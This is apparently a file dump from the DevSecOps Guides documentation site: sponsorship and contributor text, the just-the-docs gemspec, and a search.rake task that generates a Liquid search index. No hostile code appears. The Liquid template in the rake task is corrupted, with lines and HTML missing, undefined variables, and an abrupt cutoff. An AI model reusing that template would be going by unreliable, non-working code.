developers, security professionals, and decision-makers. Enhanced Brand Image: Sponsoring educational content, webinars, and community events positions sponsors as thought leaders and innovators in the DevSecOps space. This positive association enhances brand reputation and credibility. Community Support and Engagement: Sponsorship provides resources that enable the creation of valuable content, tools, and resources for the DevSecOps community. This support helps drive engagement, knowledge sharing, and the adoption of best practices. Access to Insights and Feedback: Sponsors gain access to a wealth of insights and feedback from the community. This interaction helps sponsors understand the needs and challenges of practitioners, allowing them to refine their offerings and better serve the market. #### Semgrep Our partnership with Semgrep exemplifies the impact of effective sponsorship. Semgrep, a powerful static analysis tool, has been instrumental in advancing the mission of DevSecOpsGuides. By sponsoring our initiatives, Semgrep has not only supported our community but also showcased their commitment to improving security practices across the development lifecycle. ### Contributing Your Questions? This DevSecOps Guides could be answer this. When contributing to this repository, please first discuss the change you wish to make via issue, email, or any other method with the owners of this repository before making a change. Read more about becoming a contributor in [our GitHub repo](https://github.com/devsecopsguides/devsecopsguides.github.io). 1. Serve Project ``` bundle exec jekyll serve ``` #### Thank you to the contributors of DevSecOps Guides!
    {% for contributor in site.github.contributors %}
  • {{ contributor.login }}
  • {% endfor %}
and * [Tanya Janca](https://twitter.com/shehackspurple) * [Okan YILDIZ](https://www.linkedin.com/in/yildizokan/) * [Dan Williams](https://www.linkedin.com/in/danwilliamssecurityengineer/) * [Barnavo Chowdhury](https://www.linkedin.com/in/barnavochowdhury/) * [Ayoub NAJIM](https://www.linkedin.com/in/ayoub-najim-299081151/) * [Nditah Samweld](https://www.linkedin.com/in/nditah/) * [Mahesh Mahajan](https://linkedin.com/in/themr255) * [Shivam Agnihotri](https://www.linkedin.com/in/shivam-agnihotri/) * [David das Neves](https://www.linkedin.com/in/daviddasneves/) ================================================ FILE: just-the-docs.gemspec ================================================ # coding: utf-8 Gem::Specification.new do |spec| spec.name = "just-the-docs" spec.version = "0.5.1" spec.authors = ["Patrick Marsceill", "Matthew Wang"] spec.email = ["patrick.marsceill@gmail.com", "matt@matthewwang.me"] spec.summary = %q{A modern, highly customizable, and responsive Jekyll theme for documentation with built-in search.} spec.homepage = "https://github.com/just-the-docs/just-the-docs" spec.license = "MIT" spec.metadata = { "bug_tracker_uri" => "https://github.com/just-the-docs/just-the-docs/issues", "changelog_uri" => "https://github.com/just-the-docs/just-the-docs/blob/main/CHANGELOG.md", "documentation_uri" => "https://just-the-docs.github.io/just-the-docs/", "source_code_uri" => "https://github.com/just-the-docs/just-the-docs", } spec.files = `git ls-files -z ':!:*.jpg' ':!:*.png'`.split("\x0").select { |f| f.match(%r{^(assets|bin|_layouts|_includes|lib|Rakefile|_sass|LICENSE|README|CHANGELOG|favicon)}i) } spec.executables << 'just-the-docs' spec.add_development_dependency "bundler", ">= 2.3.5" spec.add_runtime_dependency "jekyll", ">= 3.8.5" spec.add_runtime_dependency "jekyll-seo-tag", ">= 2.0" spec.add_runtime_dependency "rake", ">= 12.3.1" end ================================================ FILE: lib/tasks/search.rake ================================================ namespace :search do desc 'Generate the files needed for search functionality' task :init do puts 'Creating search data json file...' mkdir_p 'assets/js' touch 'assets/js/zzzz-search-data.json' puts 'Done.' puts 'Generating content...' File.open('assets/js/zzzz-search-data.json', 'w') do |f| f.puts '--- permalink: /assets/js/search-data.json --- { {%- assign i = 0 -%} {%- assign pages_array = "" | split: "" -%} {%- assign pages_array = pages_array | push: site.html_pages -%} {%- if site.just_the_docs.collections -%} {%- for collection_entry in site.just_the_docs.collections -%} {%- assign collection_key = collection_entry[0] -%} {%- assign collection_value = collection_entry[1] -%} {%- assign collection = site[collection_key] -%} {%- if collection_value.search_exclude != true -%} {%- assign pages_array = pages_array | push: collection -%} {%- endif -%} {%- endfor -%} {%- endif -%} {%- for pages in pages_array -%} {%- for page in pages -%} {%- if page.title and page.search_exclude != true -%} {%- assign page_content = page.content -%} {%- assign heading_level = site.search.heading_level | default: 2 -%} {%- for j in (2..heading_level) -%} {%- assign tag = \'\' -%} {%- assign title = titleAndContent[0] | replace_first: \'>\', \'

\' | split: \'

\' -%} {%- assign title = title[1] | strip_html -%} {%- assign content = titleAndContent[1] -%} {%- assign url = page.url -%} {%- if title == page.title and parts[0] == \'\' -%} {%- assign title_found = true -%} {%- else -%} {%- assign id = titleAndContent[0] -%} {%- assign id = id | split: \'id="\' -%} {%- if id.size == 2 -%} {%- assign id = id[1] -%} {%- assign id = id | split: \'"\' -%} {%- assign id = id[0] -%} {%- capture url -%}{{ url | append: \'#\' | append: id }}{%- endcapture -%} {%- endif -%} {%- endif -%} {%- unless i == 0 -%},{%- endunless -%} "{{ i }}": { "doc": {{ page.title | jsonify }}, "title": {{ title | jsonify }}, "content": {{ content | replace: \'